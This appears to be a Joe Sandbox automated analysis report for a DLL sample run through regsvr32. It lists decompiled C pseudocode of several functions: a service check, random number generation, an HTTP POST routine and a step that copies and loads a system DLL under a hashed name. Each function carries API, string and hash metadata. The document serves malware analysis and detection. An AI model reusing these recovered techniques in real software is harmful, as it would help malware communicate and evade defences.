0x10009a2d
0x00000000
0x00000000
0x10009a36
0x10009a3d
0x10009a49
0x10009a4c
0x10009a4f
0x10009a5b
0x10009a5e
0x10009a60
0x10009bea
0x10009bed
0x10009bf3
0x10009bf3
0x10009bf3
0x10009bf6
0x00000000
0x10009bf6
0x10009a70
0x10009a73
0x10009a7f
0x10009a82
0x10009a86
0x10009a87
0x10009a8a
0x10009ae1
0x10009ae4
0x10009b84
0x10009b86
0x10009b8d
0x10009b98
0x10009b9f
0x10009ba1
0x10009ba4
0x10009ba4
0x10009ba8
0x10009bac
0x10009bcc
0x10009bd0
0x10009bd9
0x10009be4
0x00000000
0x10009be4
0x10009bb2
0x10009bb3
0x10009bb8
0x10009bba
0x10009bbe
0x10009bc0
0x10009bc4
0x10009bc9
0x00000000
0x10009bc9
0x10009aed
0x10009af0
0x10009b2f
0x10009b2f
0x10009b36
0x10009b53
0x10009b62
0x10009b6b
0x10009b77
0x10009b7c
0x10009acc
0x10009ad4
0x10009ad8
0x00000000
0x10009ad8
0x10009b3c
0x10009acb
0x00000000
0x10009acb
0x10009af4
0x10009afb
0x10009b06
0x10009b0d
0x10009b0f
0x10009b12
0x10009b12
0x10009b16
0x10009b1a
0x00000000
0x00000000
0x10009b24
0x10009b25
0x00000000
0x10009b25
0x10009a8c
0x10009ab4
0x10009ab9
0x10009abe
0x10009ac0
0x10009ac0
0x10009ac5
0x10009ac6
0x10009ac6
0x00000000
0x10009ac6
0x10009a8e
0x10009a91
0x00000000
0x00000000
0x10009a97
0x00000000
0x00000000
0x10009a9d
0x10009aa0
0x00000000
0x00000000
0x10009aa6
0x10009aa9
0x00000000
0x00000000
0x10009aaf
0x00000000
0x10009aaf
0x10009c05
0x10009c0b
0x10009c11
0x10009c14
0x10009c14
0x10009c16
0x10009c16
0x10009c16
0x10009c16
0x00000000
0x10009c16
0x10009993
0x10009999
0x00000000
0x10009999
0x00000000
0x10009c22
0x100098e8
0x00000000
0x100098ee
0x00000000

Strings

TRUE, xrefs: 10009AB9
FALSE, xrefs: 10009AC0, 10009AC5

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: Initialize$AllocBlanketCreateInstanceProxySecurityString
String ID: FALSE$TRUE
API String ID: 3531828250-1412513891
Opcode ID: 7c507c51054a144dddf90b36482195c196352baa16da71b468fc6aa2fd07a4c3
Instruction ID: ab51725e4a31a0cf58c0730ea063c81602889566341a3588c3e64f41018d4481
Opcode Fuzzy Hash: 7c507c51054a144dddf90b36482195c196352baa16da71b468fc6aa2fd07a4c3
Instruction Fuzzy Hash: 0AE16C75D00209AFEB10DFE8C885DAEBBF9FF49390F20851AF545A7259DB31A941CB60

Uniqueness

Uniqueness Score: -1.00%

Function 100060C6, Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 97
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E100060C6() {
				void* _v8;
				void* _v12;
				long _v16;
				_Unknown_base(*)()* _v20;
				struct HINSTANCE__* _v24;
				signed int _t33;
				signed int _t35;
				signed int _t46;

				if( *0x1002b870 == 0) {
					_v24 = GetModuleHandleA(0);
					_v20 = _v20 & 0x00000000;
					if(_v24 != 0) {
						_v20 = GetProcAddress(_v24, "_OPENSSL_isservice");
					}
					if(_v20 != 0) {
						 *0x1002b870 = _v20;
					} else {
						 *0x1002b870 =  *0x1002b870 | 0xffffffff;
					}
				}
				if( *0x1002b870 == 0xffffffff) {
					_t33 = GetProcessWindowStation();
					_v8 = _t33;
					if(_v8 != 0) {
						_t35 = GetUserObjectInformationW(_v8, 2, 0, 0,  &_v16);
						if(_t35 != 0) {
							L12:
							return _t35 | 0xffffffff;
						}
						_t35 = GetLastError();
						if(_t35 == 0x7a) {
							if(_v16 <= 0x200) {
								_v16 = _v16 + 1;
								_v16 = _v16 & 0xfffffffe;
								_v12 = malloc(_v16 + 2);
								_t46 = GetUserObjectInformationW(_v8, 2, _v12, _v16,  &_v16);
								if(_t46 != 0) {
									_v16 = _v16 + 1;
									_v16 = _v16 & 0xfffffffe;
									 *((short*)(_v12 + (_v16 >> 1) * 2)) = 0;
									if(E100060AE(_v12, L"Service-0x") == 0) {
										return 0;
									}
									return 1;
								}
								return _t46 | 0xffffffff;
							}
							return _t35 | 0xffffffff;
						}
						goto L12;
					}
					return _t33 | 0xffffffff;
				} else {
					return  *0x1002b870();
				}
			}

0x100060d3
0x100060dd
0x100060e0
0x100060e8
0x100060f8
0x100060f8
0x100060ff
0x1000610d
0x10006101
0x10006101
0x10006101
0x100060ff
0x10006119
0x10006126
0x1000612c
0x10006133
0x1000614a
0x10006152
0x1000615f
0x00000000
0x1000615f
0x10006154
0x1000615d
0x1000616e
0x10006179
0x10006182
0x10006192
0x100061a4
0x100061ac
0x100061b7
0x100061c0
0x100061cd
0x100061e2
0x00000000
0x100061eb
0x00000000
0x100061e6
0x00000000
0x100061ae
0x00000000
0x10006170
0x00000000
0x1000615d
0x00000000
0x1000611b
0x00000000
0x1000611b

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 100060D7
GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 100060F2
GetProcessWindowStation.USER32 ref: 10006126
GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?), ref: 1000614A
GetLastError.KERNEL32 ref: 10006154
malloc.MSVCRT ref: 1000618B
GetUserObjectInformationW.USER32(00000000,00000002,?,00000200,00000200), ref: 100061A4

Strings

Service-0x, xrefs: 100061D1
_OPENSSL_isservice, xrefs: 100060EA

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: InformationObjectUser$AddressErrorHandleLastModuleProcProcessStationWindowmalloc
String ID: Service-0x$_OPENSSL_isservice
API String ID: 526578184-1672312481
Opcode ID: dc21b0e1a3884ac0fc6547e7bc00eb6a3787a1433d1e66fe0b5b7d05d0ba2a85
Instruction ID: d4aa58352b05b791ece4a1e802af54111b394c21de223ab66894f6f3dd256974
Opcode Fuzzy Hash: dc21b0e1a3884ac0fc6547e7bc00eb6a3787a1433d1e66fe0b5b7d05d0ba2a85
Instruction Fuzzy Hash: 1231FA34D04619EFEB10DBA4CC45B9DBBB6FB083A5F344665E431E21E5DB708A51DB10

Uniqueness

Uniqueness Score: -1.00%

Function 1001E66E, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 97
stringCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E1001E66E(signed int __eax, char* _a4, intOrPtr _a8, long long _a12, signed int _a20) {
				signed int _t20;
				signed int _t21;
				int _t23;
				char* _t32;
				char* _t34;
				void* _t46;
				signed int _t49;
				char* _t51;
				void* _t52;
				long long* _t55;

				_t20 = __eax;
				if(_a20 == 0) {
					_a20 = 0x11;
				}
				_t34 = _a4;
				_push(_t36);
				 *_t55 = _a12;
				_push(_a20);
				_push("%.*g");
				_push(_a8);
				_push(_t34);
				L1001EF02();
				_t49 = _t20;
				if(_t49 >= 0) {
					_a20 = _t49;
					if(_t49 >= _a8) {
						goto L3;
					}
					L1001EF14();
					_t23 =  *((intOrPtr*)( *_t20));
					if(_t23 != 0x2e) {
						_t32 = strchr(_t34, _t23);
						if(_t32 != 0) {
							 *_t32 = 0x2e;
						}
					}
					if(strchr(_t34, 0x2e) != 0 || strchr(_t34, 0x65) != 0) {
						L12:
						_t51 = strchr(_t34, 0x65);
						if(_t51 == 0) {
							L20:
							_t21 = _a20;
							L21:
							return _t21;
						}
						_t52 = _t51 + 1;
						_t15 = _t52 + 1; // 0x2
						_t46 = _t15;
						if( *_t52 == 0x2d) {
							_t52 = _t46;
						}
						while( *_t46 == 0x30) {
							_t46 = _t46 + 1;
						}
						if(_t46 != _t52) {
							memmove(_t52, _t46, _a20 - _t46 + _t34);
							_a20 = _a20 + _t52 - _t46;
						}
						goto L20;
					} else {
						_t9 = _t49 + 3; // 0x4
						_t20 = _t9;
						if(_t20 >= _a8) {
							goto L3;
						}
						_t34[_t49] = 0x302e;
						( &(_t34[2]))[_t49] = 0;
						_a20 = _t49 + 2;
						goto L12;
					}
				}
				L3:
				_t21 = _t20 | 0xffffffff;
				goto L21;
			}

0x1001e66e
0x1001e675
0x1001e677
0x1001e677
0x1001e682
0x1001e687
0x1001e688
0x1001e68b
0x1001e68e
0x1001e693
0x1001e696
0x1001e697
0x1001e69c
0x1001e6a3
0x1001e6ad
0x1001e6b3
0x00000000
0x00000000
0x1001e6b5
0x1001e6bc
0x1001e6c0
0x1001e6c7
0x1001e6d0
0x1001e6d2
0x1001e6d2
0x1001e6d0
0x1001e6e1
0x1001e70a
0x1001e712
0x1001e718
0x1001e74a
0x1001e74a
0x1001e74d
0x1001e750
0x1001e750
0x1001e71a
0x1001e71f
0x1001e71f
0x1001e722
0x1001e724
0x1001e724
0x1001e729
0x1001e728
0x1001e728
0x1001e730
0x1001e73c
0x1001e746
0x1001e746
0x00000000
0x1001e6f1
0x1001e6f1
0x1001e6f1
0x1001e6f7
0x00000000
0x00000000
0x1001e6f9
0x1001e6ff
0x1001e707
0x00000000
0x1001e707
0x1001e6e1
0x1001e6a5
0x1001e6a5
0x00000000

APIs

_snprintf.MSVCRT ref: 1001E697
localeconv.MSVCRT ref: 1001E6B5
strchr.MSVCRT ref: 1001E6C7
strchr.MSVCRT ref: 1001E6D8
strchr.MSVCRT ref: 1001E6E6
strchr.MSVCRT ref: 1001E70D
memmove.MSVCRT ref: 1001E73C

Strings

%.*g, xrefs: 1001E68E

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: strchr$_snprintflocaleconvmemmove
String ID: %.*g
API String ID: 3793506855-952554281
Opcode ID: 915d7f4cf185011226c5252bc7301c56aac97abee1c8d7b565de91494d2e0932
Instruction ID: 40909a5358358fc161074a46868c54ad22c513ae202e5a7b85c0cbe346fdee71
Opcode Fuzzy Hash: 915d7f4cf185011226c5252bc7301c56aac97abee1c8d7b565de91494d2e0932
Instruction Fuzzy Hash: 2921EE769086DA9AE721CE24DC86A9E3BD9EF113A4F550029FD809F182D670ECD183D0

Uniqueness

Uniqueness Score: -1.00%

Function 1001EDD8, Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 70
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 29%

			E1001EDD8(signed int* _a4) {
				signed int _v8;
				_Unknown_base(*)()* _v12;
				_Unknown_base(*)()* _v16;
				char _v20;
				struct HINSTANCE__* _t14;
				_Unknown_base(*)()* _t15;
				void* _t17;
				_Unknown_base(*)()* _t18;
				void* _t23;
				void* _t25;
				signed int _t28;
				struct HINSTANCE__* _t31;
				intOrPtr* _t32;
				void* _t37;

				_v8 = _v8 & 0x00000000;
				_t14 = GetModuleHandleA("advapi32.dll");
				_t31 = _t14;
				if(_t31 != 0) {
					_t15 = GetProcAddress(_t31, "CryptAcquireContextA");
					_v12 = _t15;
					if(_t15 == 0) {
						L7:
						_t17 = 1;
						L11:
						return _t17;
					}
					_t18 = GetProcAddress(_t31, "CryptGenRandom");
					_v16 = _t18;
					if(_t18 == 0) {
						goto L7;
					}
					_t32 = GetProcAddress(_t31, "CryptReleaseContext");
					if(_t32 == 0) {
						goto L7;
					}
					_push(0xf0000000);
					_push(1);
					_push(0);
					_push(0);
					_push( &_v8);
					if(_v12() == 0) {
						goto L7;
					}
					_t23 = _v16(_v8, 4,  &_v20);
					 *_t32(_v8, 0);
					if(_t23 != 0) {
						_t28 = 0;
						_t25 = 0;
						do {
							_t28 = _t28 << 0x00000008 |  *(_t37 + _t25 - 0x10) & 0x000000ff;
							_t25 = _t25 + 1;
						} while (_t25 < 4);
						 *_a4 = _t28;
						_t17 = 0;
						goto L11;
					}
					goto L7;
				}
				return  &(_t14->i);
			}

0x1001edde
0x1001ede8
0x1001edee
0x1001edf2
0x1001ee07
0x1001ee09
0x1001ee0e
0x1001ee5c
0x1001ee5e
0x1001ee7c
0x00000000
0x1001ee7c
0x1001ee16
0x1001ee18
0x1001ee1d
0x00000000
0x00000000
0x1001ee27
0x1001ee2b
0x00000000
0x00000000
0x1001ee2d
0x1001ee32
0x1001ee34
0x1001ee36
0x1001ee3b
0x1001ee41
0x00000000
0x00000000
0x1001ee4c
0x1001ee56
0x1001ee5a
0x1001ee61
0x1001ee63
0x1001ee65
0x1001ee6d
0x1001ee6f
0x1001ee70
0x1001ee78
0x1001ee7a
0x00000000
0x1001ee7a
0x00000000
0x1001ee5a
0x00000000

APIs

GetModuleHandleA.KERNEL32(advapi32.dll,00000073,?,0119FE58,00000000), ref: 1001EDE8
GetProcAddress.KERNEL32(00000000,CryptAcquireContextA), ref: 1001EE07
GetProcAddress.KERNEL32(00000000,CryptGenRandom), ref: 1001EE16
GetProcAddress.KERNEL32(00000000,CryptReleaseContext), ref: 1001EE25

Strings

CryptGenRandom, xrefs: 1001EE10
CryptReleaseContext, xrefs: 1001EE1F
CryptAcquireContextA, xrefs: 1001EE01
advapi32.dll, xrefs: 1001EDE3

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: CryptAcquireContextA$CryptGenRandom$CryptReleaseContext$advapi32.dll
API String ID: 667068680-129414566
Opcode ID: 9d6eef553261de1beb18ba91c5bccf6cf82920b8268d91d810cf290e5d464cbe
Instruction ID: 8975556a57e4b8445516aa8c327fe2afcc5d34e44f13c72f216be732efd0bd11
Opcode Fuzzy Hash: 9d6eef553261de1beb18ba91c5bccf6cf82920b8268d91d810cf290e5d464cbe
Instruction Fuzzy Hash: BB11C435D003567BEB15EAA88C54FAE3BF9DF44B80F214465FA11E6141DB70CD419B60

Uniqueness

Uniqueness Score: -1.00%

Function 1000D6F1, Relevance: 13.8, APIs: 8, Strings: 1, Instructions: 277
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E1000D6F1(void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16, intOrPtr* _a20, intOrPtr* _a24, intOrPtr _a28) {
				void* _v12;
				int _v16;
				int _v20;
				char _v24;
				signed int _v28;
				char _v32;
				intOrPtr _v36;
				char _v40;
				intOrPtr _v44;
				int _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				char _v68;
				intOrPtr _v80;
				char* _v84;
				intOrPtr _v104;
				intOrPtr _v108;
				char* _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				char* _v124;
				void _v128;
				char _v144;
				void _v399;
				char _v400;
				void _v655;
				char _v656;
				void* __esi;
				intOrPtr _t125;
				intOrPtr _t133;
				intOrPtr* _t136;
				char _t138;
				intOrPtr _t139;
				intOrPtr _t142;
				intOrPtr _t145;
				intOrPtr _t148;
				intOrPtr _t151;
				char _t152;
				intOrPtr _t155;
				char _t158;
				void* _t159;
				intOrPtr _t160;
				intOrPtr _t167;
				signed int _t169;
				intOrPtr _t175;
				intOrPtr _t178;
				intOrPtr _t180;
				intOrPtr _t184;
				intOrPtr _t186;
				intOrPtr _t188;
				void* _t197;
				void* _t202;
				void* _t207;
				char _t208;
				signed int _t210;
				void _t212;
				int _t213;
				intOrPtr _t215;
				intOrPtr _t216;
				void* _t217;

				_t207 = __edx;
				_t208 = 4;
				_v32 = _t208;
				_v40 = 0;
				_v36 = 1;
				_v12 = 0;
				_v20 = 0;
				_v400 = 0;
				memset( &_v399, 0, 0xff);
				_v656 = 0;
				memset( &_v655, 0, 0xff);
				_push(0x51);
				_v68 = E10008A79();
				_v64 = E10008A79();
				_v60 = E10008A79();
				_v56 = E10008A79();
				_t125 = E10008A79();
				_t212 = 0x3c;
				_v52 = _t125;
				_v48 = 0;
				memset( &_v128, 0, 0xff);
				_v124 =  &_v144;
				_v112 =  &_v400;
				_v108 = 0x100;
				_v80 = 0x100;
				_push( &_v128);
				_push(0);
				_v120 = 0x10;
				_v84 =  &_v656;
				_v128 = _t212;
				_push(E1000C90F(_a4));
				_push(_a4);
				_t133 =  *0x1002b73c; // 0x0
				if( *((intOrPtr*)(_t133 + 0x28))() != 0) {
					_v28 = 0;
					do {
						_t136 =  *0x1002b73c; // 0x0
						_v24 = 0x8404f700;
						_t213 =  *_t136( *0x1002b814,  *((intOrPtr*)(_t217 + _v28 * 4 - 0x24)), 0, 0, 0);
						_v16 = _t213;
						if(_t213 != 0) {
							_t138 = 3;
							_t201 =  &_v12;
							_v12 = _t138;
							_t139 =  *0x1002b73c; // 0x0
							 *((intOrPtr*)(_t139 + 0x14))(_t213, _t138,  &_v12, _t208);
							_t142 =  *0x1002b73c; // 0x0
							_v12 = 0x3a98;
							 *((intOrPtr*)(_t142 + 0x14))(_t213, 2,  &_v12, _t208);
							_t145 =  *0x1002b73c; // 0x0
							_v12 = 0x493e0;
							 *((intOrPtr*)(_t145 + 0x14))(_v16, 6,  &_v12, _t208);
							_t148 =  *0x1002b73c; // 0x0
							_v12 = 0x493e0;
							 *((intOrPtr*)(_t148 + 0x14))(_v16, 5,  &_v12, _t208);
							_t151 =  *0x1002b73c; // 0x0
							_t152 =  *((intOrPtr*)(_t151 + 0x1c))(_v16,  &_v400, _v104, 0, 0, 3, 0, 0);
							_t215 = _a28;
							_v12 = _t152;
							if(_t215 != 0) {
								E1000B036( &_v12, _t207, _t215);
							}
							if(_v12 != 0) {
								if(_v116 == _t208) {
									_v24 = 0x8484f700;
								}
								_t155 =  *0x1002b73c; // 0x0
								_v20 =  *((intOrPtr*)(_t155 + 0x20))(_v12, "POST",  &_v656, 0, 0,  &_v68, _v24, 0);
								if(_t215 != 0) {
									E1000B036(_t201, _t207, _t215);
								}
								if(_v20 != 0) {
									if(_v116 == _t208) {
										E1000DC7F(_t201, _v20);
									}
									_t158 = E10008A79();
									_push(_a12);
									_v24 = _t158;
									_push(_a8);
									_t159 = E1000C90F(_t158);
									_pop(_t202);
									_t160 =  *0x1002b73c; // 0x0
									_v44 =  *((intOrPtr*)(_t160 + 0x24))(_v20, _v24, _t159);
									E1000A72E( &_v24);
									if(_t215 != 0) {
										E1000B036(_t202, _t207, _t215);
									}
									if(_v44 != 0) {
										break;
									} else {
										GetLastError();
										_t184 =  *0x1002b73c; // 0x0
										 *((intOrPtr*)(_t184 + 8))(_v20);
										_v20 = 0;
										goto L21;
									}
								} else {
									GetLastError();
									L21:
									_t186 =  *0x1002b73c; // 0x0
									 *((intOrPtr*)(_t186 + 8))(_v12);
									_v12 = 0;
									goto L22;
								}
							} else {
								GetLastError();
								L22:
								_t188 =  *0x1002b73c; // 0x0
								 *((intOrPtr*)(_t188 + 8))(_v16);
								_v16 = 0;
								goto L23;
							}
						}
						GetLastError();
						L23:
						_v28 = _v28 + 1;
					} while (_v28 < 2);
					if(_v20 != 0) {
						_t216 = _v20;
						asm("stosd");
						asm("stosd");
						_push(0);
						_push( &_v32);
						_push( &_v40);
						_t167 =  *0x1002b73c; // 0x0
						_push(0x13);
						_push(_t216);
						_v32 = 8;
						if( *((intOrPtr*)(_t167 + 0xc))() != 0) {
							_t169 = E1000AFDD( &_v40);
							if(_t169 == 0xc8) {
								 *_a24 = _t216;
								 *_a16 = _v16;
								 *_a20 = _v12;
								return 0;
							}
							_t210 =  ~_t169;
							L30:
							_t175 =  *0x1002b73c; // 0x0
							 *((intOrPtr*)(_t175 + 8))(_t216);
							L31:
							if(_v12 != 0) {
								_t180 =  *0x1002b73c; // 0x0
								 *((intOrPtr*)(_t180 + 8))(_v12);
							}
							if(_v16 != 0) {
								_t178 =  *0x1002b73c; // 0x0
								 *((intOrPtr*)(_t178 + 8))(_v16);
							}
							return _t210;
						}
						GetLastError();
						_t210 = 0xfffffff8;
						goto L30;
					}
					_t210 = 0xfffffffe;
					goto L31;
				}
				_t197 = 0xfffffffc;
				return _t197;
			}

0x1000d6f1
0x1000d6ff
0x1000d710
0x1000d713
0x1000d716
0x1000d71d
0x1000d720
0x1000d723
0x1000d729
0x1000d73a
0x1000d740
0x1000d748
0x1000d750
0x1000d75d
0x1000d768
0x1000d775
0x1000d77d
0x1000d784
0x1000d786
0x1000d78e
0x1000d791
0x1000d79c
0x1000d7a5
0x1000d7b0
0x1000d7b3
0x1000d7b9
0x1000d7ba
0x1000d7c4
0x1000d7cb
0x1000d7ce
0x1000d7d7
0x1000d7d8
0x1000d7db
0x1000d7e5
0x1000d7ef
0x1000d7f2
0x1000d7fc
0x1000d807
0x1000d810
0x1000d812
0x1000d817
0x1000d826
0x1000d828
0x1000d82d
0x1000d830
0x1000d836
0x1000d83e
0x1000d846
0x1000d84d
0x1000d855
0x1000d864
0x1000d867
0x1000d86f
0x1000d879
0x1000d87c
0x1000d892
0x1000d897
0x1000d89a
0x1000d89d
0x1000d8a2
0x1000d8a4
0x1000d8a4
0x1000d8ac
0x1000d8bc
0x1000d8be
0x1000d8be
0x1000d8d6
0x1000d8e6
0x1000d8eb
0x1000d8ed
0x1000d8ed
0x1000d8f5
0x1000d902
0x1000d907
0x1000d90c
0x1000d912
0x1000d917
0x1000d91a
0x1000d91d
0x1000d921
0x1000d926
0x1000d92b
0x1000d936
0x1000d93c
0x1000d943
0x1000d945
0x1000d945
0x1000d94d
0x00000000
0x1000d94f
0x1000d94f
0x1000d958
0x1000d95d
0x1000d960
0x00000000
0x1000d960
0x1000d8f7
0x1000d8f7
0x1000d963
0x1000d966
0x1000d96b
0x1000d96e
0x00000000
0x1000d96e
0x1000d8ae
0x1000d8ae
0x1000d971
0x1000d974
0x1000d979
0x1000d97c
0x00000000
0x1000d97c
0x1000d8ac
0x1000d819
0x1000d97f
0x1000d97f
0x1000d982
0x1000d98f
0x1000d996
0x1000d99e
0x1000d99f
0x1000d9a0
0x1000d9a4
0x1000d9a8
0x1000d9a9
0x1000d9ae
0x1000d9b0
0x1000d9b1
0x1000d9bd
0x1000d9cd
0x1000d9d7
0x1000da10
0x1000da15
0x1000da1d
0x00000000
0x1000da1f
0x1000d9db
0x1000d9dd
0x1000d9dd
0x1000d9e3
0x1000d9e6
0x1000d9e9
0x1000d9ee
0x1000d9f3
0x1000d9f3
0x1000d9f9
0x1000d9fe
0x1000da03
0x1000da03
0x00000000
0x1000da06
0x1000d9bf
0x1000d9c7
0x00000000
0x1000d9c7
0x1000d993
0x00000000
0x1000d993
0x1000d7e9
0x00000000

APIs

memset.MSVCRT ref: 1000D729
memset.MSVCRT ref: 1000D740
memset.MSVCRT ref: 1000D791
GetLastError.KERNEL32(?,?,?,?,?,?,00000000,00000000,000007D0), ref: 1000D819

Strings

POST, xrefs: 1000D8DB

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: memset$ErrorLast
String ID: POST
API String ID: 2570506013-1814004025
Opcode ID: e62d08b0d540837dedae944bf64b5652ff6cb7671f123bcb476b7f6748053d2f
Instruction ID: bfb638f67a576ff211544c15099f4b9282026256fc6a5fa70225e4daca3d867c
Opcode Fuzzy Hash: e62d08b0d540837dedae944bf64b5652ff6cb7671f123bcb476b7f6748053d2f
Instruction Fuzzy Hash: 5BB10AB5D04219AFEB11DFA4DC8499EBBF8FF08390F2040AAF515A7265D7309A81DF61

Uniqueness

Uniqueness Score: -1.00%

Function 1000E0D7, Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 108
filelibraryCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E1000E0D7(void* __esi) {
				WCHAR* _v8;
				char _v12;
				void _v140;
				intOrPtr _t15;
				char _t16;
				intOrPtr _t22;
				intOrPtr _t28;
				WCHAR* _t30;
				struct HINSTANCE__* _t32;
				intOrPtr _t40;
				void* _t41;
				signed char _t43;
				char* _t44;
				intOrPtr _t49;
				void* _t54;
				char* _t55;
				intOrPtr _t67;
				intOrPtr _t68;

				_t54 = __esi;
				_t15 =  *0x1002b740; // 0x11a04a0
				_t43 =  *(_t15 + 0x1898);
				if(_t43 == 0x100 ||  *((intOrPtr*)(_t15 + 4)) >= 0xa && (_t43 & 0x00000004) != 0) {
					_t16 = E10008A90(_t43, 0x472);
					_t49 =  *0x1002b740; // 0x11a04a0
					_v12 = _t16;
					E1000AF04( &_v140, 0x40, L"%08x", E1000BF2C(0, _t49 + 0xb0, E1000C90F(_t49 + 0xb0)));
					_t22 =  *0x1002b740; // 0x11a04a0
					_t44 = L"SysWOW64";
					if( *((intOrPtr*)(_t22 + 0xa8)) == 0) {
						_t44 = L"System32";
					}
					_push(_t54);
					_push(0);
					_push(_v12);
					_t55 = "\\";
					_push(_t55);
					_push(_t44);
					_push(_t55);
					_v8 = E1000ABBC(_t22 + 0x1020);
					E1000A741( &_v12);
					_push(0);
					_push(L"dll");
					_push(".");
					_push( &_v140);
					_t28 =  *0x1002b740; // 0x11a04a0
					_push(_t55);
					_t30 = E1000ABBC(_t28 + 0x122a);
					 *0x1002b860 = _t30;
					CopyFileW(_v8, _t30, 0);
					_t32 = LoadLibraryW( *0x1002b860);
					 *0x1002b85c = _t32;
					if(_t32 == 0) {
						 *0x1002b820 = 0;
					} else {
						_push(_t32);
						_push(0x10020680);
						_t41 = 0x28;
						 *0x1002b820 = E1000E739(_t41);
					}
					E100094F4( &_v8, 0xfffffffe);
					memset( &_v140, 0, 0x80);
					_t67 =  *0x1002b820; // 0x121f9d8
					if(_t67 != 0) {
						goto L12;
					} else {
						E100094F4(0x1002b860, 0xfffffffe);
						goto L10;
					}
				} else {
					L10:
					_t68 =  *0x1002b820; // 0x121f9d8
					if(_t68 == 0) {
						_t40 =  *0x1002b74c; // 0x121f9d8
						 *0x1002b820 = _t40;
					}
					L12:
					return 1;
				}
			}

0x1000e0d7
0x1000e0da
0x1000e0df
0x1000e0f4
0x1000e10e
0x1000e113
0x1000e120
0x1000e140
0x1000e145
0x1000e14d
0x1000e158
0x1000e15a
0x1000e15a
0x1000e15f
0x1000e160
0x1000e161
0x1000e164
0x1000e169
0x1000e16a
0x1000e170
0x1000e177
0x1000e17e
0x1000e183
0x1000e184
0x1000e189
0x1000e194
0x1000e195
0x1000e19f
0x1000e1a1
0x1000e1ae
0x1000e1b3
0x1000e1bf
0x1000e1c5
0x1000e1cd
0x1000e1e6
0x1000e1cf
0x1000e1cf
0x1000e1d0
0x1000e1d7
0x1000e1df
0x1000e1df
0x1000e1f2
0x1000e204
0x1000e20c
0x1000e212
0x00000000
0x1000e214
0x1000e21b
0x00000000
0x1000e221
0x1000e222
0x1000e222
0x1000e222
0x1000e228
0x1000e22a
0x1000e22f
0x1000e22f
0x1000e234
0x1000e239
0x1000e239

APIs

CopyFileW.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 1000E1B3
LoadLibraryW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 1000E1BF
memset.MSVCRT ref: 1000E204

Strings

System32, xrefs: 1000E15A, 1000E16A
%08x, xrefs: 1000E132
SysWOW64, xrefs: 1000E14D
dll, xrefs: 1000E184

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: CopyFileLibraryLoadmemset
String ID: %08x$SysWOW64$System32$dll
API String ID: 1089690609-3766923124
Opcode ID: e77466336122ffc2d22b045d7353396978c56f058f0a6aa7de441e9222da6e8a
Instruction ID: bd2ebd45e142d329967cb9e910e4d1fc8847055bacbfbd17d0e87c3f74664b57
Opcode Fuzzy Hash: e77466336122ffc2d22b045d7353396978c56f058f0a6aa7de441e9222da6e8a
